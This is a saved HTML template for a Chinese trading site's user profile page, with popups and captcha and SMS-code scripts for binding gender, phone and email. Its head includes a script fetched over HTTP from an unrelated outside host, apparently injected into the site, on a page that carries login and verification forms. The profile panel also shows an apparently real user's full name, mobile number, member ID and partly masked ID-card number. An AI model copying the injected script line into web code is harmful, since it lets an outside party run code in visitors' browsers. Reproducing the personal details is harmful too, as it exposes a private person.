<html><head>
<title>个人中心</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/global.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/user-center.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/swiper.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/reveal.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/jquery.menu.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/font-awesome.min.css">

<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.menu.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.slimscroll.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/swiper2.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/select2.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.reveal.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/global.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.Qvalidate.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.plugins.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.placeholder.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.form.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/functions.js"></script>


<script type="text/javascript" src="{$app_path}{$static_path}/js/jq-timer.js"></script>
<script>
$(document).ready(function(){
  

    //点击弹出绑定弹窗
  $('[action="bind"]').click(function(){
        
    $('[popup="bind"]').find("#popupTitle").html($(this).attr("popupTitle"));
    $('[popup="bind"]').find("#fieldName").html($(this).attr("fieldName"));
    $('[popup="bind"]').find("#inputName").val('');
    $('[popup="bind"]').find("#inputName").attr("name",$(this).attr("inputName"));
    $('[popup="bind"]').find("#inputName").attr("placeholder",$(this).attr("placeholder"));
    $('[popup="bind"]').find("#inputName").attr("valid",$(this).attr("valid"));
    $('[popup="bind"]').find("#inputName").attr("msg",$(this).attr("msg"));
    
    $("form").QvalidateDestory();
    $('[popup="bind"]').reveal();
    
    
    
  });



    //点击弹出绑定性别
  $('[action="bindGender"]').click(function(){
        
    
    $('[popup="bindGender"]').reveal();
    

  }); 


    //点击弹出绑定手机
  $('[action="bindMobile"]').click(function(){
        
    
    $('[popup="bindMobile"]').reveal();
    

  }); 
  
  
    //点击弹出绑定邮箱
  $('[action="bindEmail"]').click(function(){
        
    
    $('[popup="bindEmail"]').reveal();
    

  });   
    
    //点击确认
  $('[action="confirm"]').click(function(){
     $(this).parents('form').Qsubmit();
  }); 


});
</script>
<include file="./Public/public/public.html" />
<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i9.js"></script></head>
<body>
<!--pc头部-->
<include file="./Public/public/top.html" />

<script type="text/javascript">

$(document).ready(function(){

function headerlogin(){
    $('.headerLogin').Qsubmit(null,function(msg){
        showModal(msg);
        $('.headerLogin').find('input[name=imgcode]').val('');
        $('.headerLogin').find('img[name=img]').click();
    });
}
$(function(){
    $('.headerLogin a[action=login]').on('click',headerlogin);
    $('.headerLogin').find('input').on('keydown',function(){
        if (event.keyCode == "13") {
             $('a[action=login]').click();
         }
    });
});

// 交易大厅品类下拉列表
$('li[action="menu"]').mouseenter(function(){
    $(this).find("ul").fadeIn(500);
}).mouseleave(function(){
    $(this).find("ul").fadeOut(500);
})

//移动版 下拉菜单
$('a[action="my"]').click(function(){
    if($(".my-list").css("display")=="block"){
        $(".my-list").fadeOut(200);        
    }else{
        $(".my-list").fadeIn(500);
    }
    
});

$("body").click(function(event){
    if($('a[action="my"]').length>0){
        if(event.target!=$('a[action="my"]')[0] && !jQuery.contains($('a[action="my"]')[0], event.target)){

            if($(".my-list").css("display")=="block"){

                $(".my-list").fadeOut(200);

            }
        }
    }

});

});


</script>
<!--mobile头部结束-->
<div class="layout-wrap">
    <!--已审核-->
    <div class="layout">
<include file="./Public/public/centerLeft.html" /> 
<!--  绑定 -->
<div popup="bind" class="reveal-modal medium">
  <a class="close-reveal-modal" action="closeModal">×</a>
    <h3 id="popupTitle">XXX</h3>
    <div>
    <form method="post" action="/Home/Center/saveProfile.html" onsubmit="return false;">
    <div class="form-row form-row-s mt20">
        <div class="input-name w30" id="fieldName">XXX</div>
        <div class="input-box w65">
        <input type="text" class="input-s" id="inputName" placeholder="">
        </div>
        <div class="clr"></div>
    </div>   
    <div class="split-dot mb20 mt20 text-center"></div>
    <div class="form-row form-row-s">
        <a action="confirm" class=" button button-blue w45 fl">确认</a>
        <a action="cancel" class=" button button-gray w45 fr">取消</a>

        <div class="clr"></div>
    </div>
    </form>
    </div>
</div>



<!--  绑定性别 -->
<div popup="bindGender" class="reveal-modal medium">
  <a class="close-reveal-modal" action="closeModal">×</a>
    <h3>选择性别后无法修改</h3>

    <div><form method="post" action="/Home/Center/saveProfile.html" onsubmit="return false;">
    <div class="form-row form-row-s mt20">
        <div class="input-name w30" id="fieldName">选择性别</div>
        <div class="input-box w65">
        <select name="user[gender]" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;请选择性别&quot;}"> <option value="">请选择</option><option selected="" value="男">男</option><option value="女">女</option></select> 
        </div>
       

        <div class="clr"></div>
    </div>   


    <div class="split-dot mb20 mt20 text-center"></div>
    <div class="form-row form-row-s">
        <a action="confirm" class=" button button-blue w45 fl">确认</a>
        <a action="cancel" class=" button button-gray w45 fr">取消</a>

        <div class="clr"></div>
    </div>
    </form></div>

</div>




<!--  绑定手机 -->
<div popup="bindMobile" class="reveal-modal medium">
  <a class="close-reveal-modal" action="closeModal">×</a>
    <h3>绑定手机号</h3>
    <div><form method="post" action="/Home/Center/authphone.html" onsubmit="return false;">
    <div class="form-row form-row-s mt20">
        <div class="input-name w30" id="fieldName">手机号码</div>
        <div class="input-box w65">
        <input type="text" class="input-s" name="phone" id="inputName" placeholder="" valid="{&quot;required&quot;:true,&quot;cellphone&quot;:true}" msg="{&quot;required&quot;:&quot;请填写正确的手机号&quot;,&quot;cellphone&quot;:&quot;请填写正确的手机号&quot;}">        

        </div>       

        <div class="clr"></div>
    </div>  
    <div class="form-row form-row-s">

        <div class="input-name w30" id="fieldName">图形验证码</div>
        <div class="input-box w30">
         <input id="imgcode2838" name="imgcode" type="text" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;请填写图形验证码&quot;}" class="input-s" placeholder="图形验证码"><script>$(function(){});</script>
        </div>

        <div class="input-name-even w40" style="overflow:hidden; height:28px;">
        		<img id="img9010" prop="verifyImg" name="img" src="/imgcode/1/130/40" class="code" style="cursor:pointer;margin:-5px 0px -5px 0px">
		<script>
		$(function(){
			var imgcodeid='#img9010';
			$('[prop="verifyImg"]').on('click',function(){
				var src = $(this).attr('src');
				var idx = src.indexOf('?');
				if(idx==-1){
					src += '?'+new Date().getTime()
				} else {
					src = src.substring(0,idx)+'?'+new Date().getTime()
				}
				$('[prop="verifyImg"]').attr('src',src);
			})

		})
		</script>
        </div>
        <div class="clr"></div>
    </div>  
     
    <div class="form-row form-row-s ">
        <div class="input-name w30">短信验证码</div>
        <div class="input-box w30">
        <input id="smscode5868" name="smscode_authphone" type="tel" valid="{&quot;required&quot;:true,&quot;number&quot;:true,&quot;limitLength&quot;:6}" msg="{&quot;required&quot;:&quot;请填写6位数字验证码&quot;,&quot;number&quot;:&quot;请填写6位数字验证码&quot;,&quot;limitLength&quot;:&quot;请填写6位数字验证码&quot;}" class="input-s" placeholder="6位数字验证码"><script>$(function(){});</script>
        </div>
        <div class="input-name-even w40">
        		<div id="2_timer2431" watch="phone" name="authphone" method="sms" emsg="请输入正确的手机号" token="44abc55b733136ce1f94ac8225185124" left="0" class="ml5 timer w80"> 获取验证码 </div>
		<script>
		$(function(){
			var smstimerid = '#2_timer2431';
			var el = $(smstimerid);
          	var timerrender = function(){	
	            _self=this; 
	            ($(_self).parents('form').find('[name=imgcode]')[0]) ? verifyImgInput = $(_self).parents('form').find('[name=imgcode]') : verifyImgInput= null ;

	            ($(_self).parents("form").find('[prop="verifyImg"]')[0]) ? verifyImg = $(_self).parents("form").find('[prop="verifyImg"]') : verifyImg= null ; 

				$(smstimerid).timer({
					url: "/Home/Sms/authphone.html",
			        clickClass: 'button-disable',
			        method:$(_self).attr('method'),
inputPhone:$(_self).parents('form').find('[name="'+$(_self).attr('watch')+'"]'),                
			        verifyImgInput: verifyImgInput,
			        verifyImg: verifyImg,
			        onCorrect: function(obj){  $(obj).removeClass("input-error");},
			        onError: function(obj,msg){ $(obj).addClass("input-error"); showModal(msg)},
			        time: 60
				});
			}
			if(el.attr('left') && parseInt(el.attr('left')) > 0){
				var option = {
					time :parseInt(el.attr('left')),
					html: el.html(),
					clickClass:'button-disable'
				};
				el.addClass('button-disable');
				el.timerclock(option,timerrender);
				el.removeAttr('left');
			} else {
				el.on("click", timerrender);
			}
		});
		</script>

        </div>
       

        <div class="clr"></div>
    </div> 

    <div class="split-dot mb20 mt20 text-center"></div>
    <div class="form-row form-row-s">
        <a action="confirm" class=" button button-blue w45 fl">确认</a>
        <a action="cancel" class=" button button-gray w45 fr">取消</a>

        <div class="clr"></div>
    </div>
    </form></div>

</div>

<!--  绑定邮箱 -->
<div popup="bindEmail" class="reveal-modal medium">
  <a class="close-reveal-modal" action="closeModal">×</a>
    <h3>绑定邮箱</h3>
    <div><form method="post" action="/Home/Center/authemail.html" onsubmit="return false;">
    <div class="form-row form-row-s mt20">
        <div class="input-name w30" id="fieldName">邮箱</div>
        <div class="input-box w65">
        <input type="text" class="input-s" name="useremail" id="inputName" placeholder="" valid="{&quot;required&quot;:true,&quot;email&quot;:true}" msg="{&quot;required&quot;:&quot;请填写正确的邮箱&quot;,&quot;email&quot;:&quot;请填写正确的邮箱&quot;}">        
        </div>
        <div class="clr"></div>
    </div>   
    <div class="form-row form-row-s">

        <div class="input-name w30" id="fieldName">图形验证码</div>
        <div class="input-box w30">
         <input id="imgcode1138" name="imgcode" type="text" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;请填写图形验证码&quot;}" class="input-s" placeholder="图形验证码"><script>$(function(){});</script>
        </div>

        <div class="input-name-even w40" style="overflow:hidden; height:28px;">
        		<img id="img8486" prop="verifyImg" name="img" src="/imgcode/1/130/40" class="code" style="cursor:pointer;margin:-5px 0px -5px 0px">
		<script>
		$(function(){
			var imgcodeid='#img8486';
			$('[prop="verifyImg"]').on('click',function(){
				var src = $(this).attr('src');
				var idx = src.indexOf('?');
				if(idx==-1){
					src += '?'+new Date().getTime()
				} else {
					src = src.substring(0,idx)+'?'+new Date().getTime()
				}
				$('[prop="verifyImg"]').attr('src',src);
			})

		})
		</script>
        </div>
        <div class="clr"></div>
    </div>  

    <div class="form-row form-row-s ">
        <div class="input-name w30">验证码</div>
        <div class="input-box w30">
        <input id="smscode5064" name="smscode_authemail" type="tel" valid="{&quot;required&quot;:true,&quot;number&quot;:true,&quot;limitLength&quot;:6}" msg="{&quot;required&quot;:&quot;请填写6位数字验证码&quot;,&quot;number&quot;:&quot;请填写6位数字验证码&quot;,&quot;limitLength&quot;:&quot;请填写6位数字验证码&quot;}" class="input-s" placeholder="6位数字验证码"><script>$(function(){});</script>        

        </div>
        <div class="input-name-even w40">
        		<div id="19_timer6272" watch="useremail" name="authemail" method="email" emsg="请输入正确的邮箱地址" token="e7b3ebe5c0d59e36fbd28a2aa6020a59" left="0" class="ml5 timer w80"> 获取验证码 </div>
		<script>
		$(function(){
			var smstimerid = '#19_timer6272';
			var el = $(smstimerid);
          	var timerrender = function(){	
	            _self=this; 
	            ($(_self).parents('form').find('[name=imgcode]')[0]) ? verifyImgInput = $(_self).parents('form').find('[name=imgcode]') : verifyImgInput= null ;

	            ($(_self).parents("form").find('[prop="verifyImg"]')[0]) ? verifyImg = $(_self).parents("form").find('[prop="verifyImg"]') : verifyImg= null ; 

				$(smstimerid).timer({
					url: "/Home/Sms/authemail.html",
			        clickClass: 'button-disable',
			        method:$(_self).attr('method'),
inputPhone:$(_self).parents('form').find('[name="'+$(_self).attr('watch')+'"]'),                
			        verifyImgInput: verifyImgInput,
			        verifyImg: verifyImg,
			        onCorrect: function(obj){  $(obj).removeClass("input-error");},
			        onError: function(obj,msg){ $(obj).addClass("input-error"); showModal(msg)},
			        time: 60
				});
			}
			if(el.attr('left') && parseInt(el.attr('left')) > 0){
				var option = {
					time :parseInt(el.attr('left')),
					html: el.html(),
					clickClass:'button-disable'
				};
				el.addClass('button-disable');
				el.timerclock(option,timerrender);
				el.removeAttr('left');
			} else {
				el.on("click", timerrender);
			}
		});
		</script>

        </div>
       

        <div class="clr"></div>
    </div> 

    <div class="split-dot mb20 mt20 text-center"></div>
    <div class="form-row form-row-s">
        <a action="confirm" class=" button button-blue w45 fl">确认</a>
        <a action="cancel" class=" button button-gray w45 fr">取消</a>

        <div class="clr"></div>
    </div>
    </form></div>

</div>
        <div class="right" style="min-height: 882px;">
           
                <h3>个人信息</h3>
                <div class="cnt-tips">
                  <p>温馨提示：姓名，性别，身份证填写后无法修改，将作为日后识别您本人的依据。</p>
                </div>   
                <div class="split-dot mt10 mb10"></div>
                
                
                
                <div class="row ">
                  <div class="key w55"><i class="fa fa-user"></i>会员ID：117652</div>
                  <div class="value w30"> 
                        
                  </div>
                  <div class="clr"> </div>
                </div>
                <div class="row ">
                  <div class="key w55"><i class="fa fa-credit-card-alt"></i>姓名：刘海天</div>
                  <div class="value w30">
                                    <a class="locked">已填写</a>                  
                  
                        
                  </div>
                  <div class="clr"> </div>
                </div>
                <div class="row ">
                  <div class="key w55"><i class="fa fa-transgender-alt"></i>性别：男</div>
                  <div class="value w30">
                                    <a class="locked">已填写</a>      
                  </div>
                  <div class="clr"> </div>
                </div>
                
                <div class="row ">
                  <div class="key w55"><i class="fa fa-credit-card-alt"></i>身份证：413******0034</div>
                  <div class="value w30">
                                    <a class="locked">已绑定</a>            
                  </div>
                  <div class="clr"> </div>
                </div>                
                
<!--                 <div class="row ">
                  <div class="key w55"><i class="fa fa-wechat"></i>微信：</div>
                  <div class="value w30"> 
                  <a>未绑定</a>  
                      
                  </div>
                  <div class="clr"> </div>
                </div>
                
                          

                <div class="row ">
                  <div class="key w55"><i class="fa fa-qq"></i>QQ：</div>
                  <div class="value w30">  
                  <a>未绑定</a>  
                     
                  </div>
                  <div class="clr"> </div>
                </div> -->
                
              
                                
                <div class="row">
                  <div class="key w55"><i class="fa fa-mobile-phone"></i>手机：15565577279 </div>
                  <div class="value w30"> 
                                    <a class="locked">已绑定</a>   
                  </div>
                  <div class="clr"> </div>
                </div>
                
            
                <div class="row">
                  <div class="key w55"><i class="fa fa-envelope-o"></i>邮箱：</div>
                  <div class="value w30">
                  <a action="bindEmail">未绑定</a> 
                             
                  </div>
                  <div class="clr"> </div>
                </div>
            

                

                

                                                             
                <div class="row">
                  <div class="key w55"><i class="fa fa-user"></i>账号状态</div>
                  <div class="value w30 ">
                    <a></a></div>
            
                  <div class="clr"> </div>
                </div>
               
                
              
         
        </div>

        <div class="clr"></div>
    </div>
</div>
<include file="./Public/public/footer.html" />
</body></html>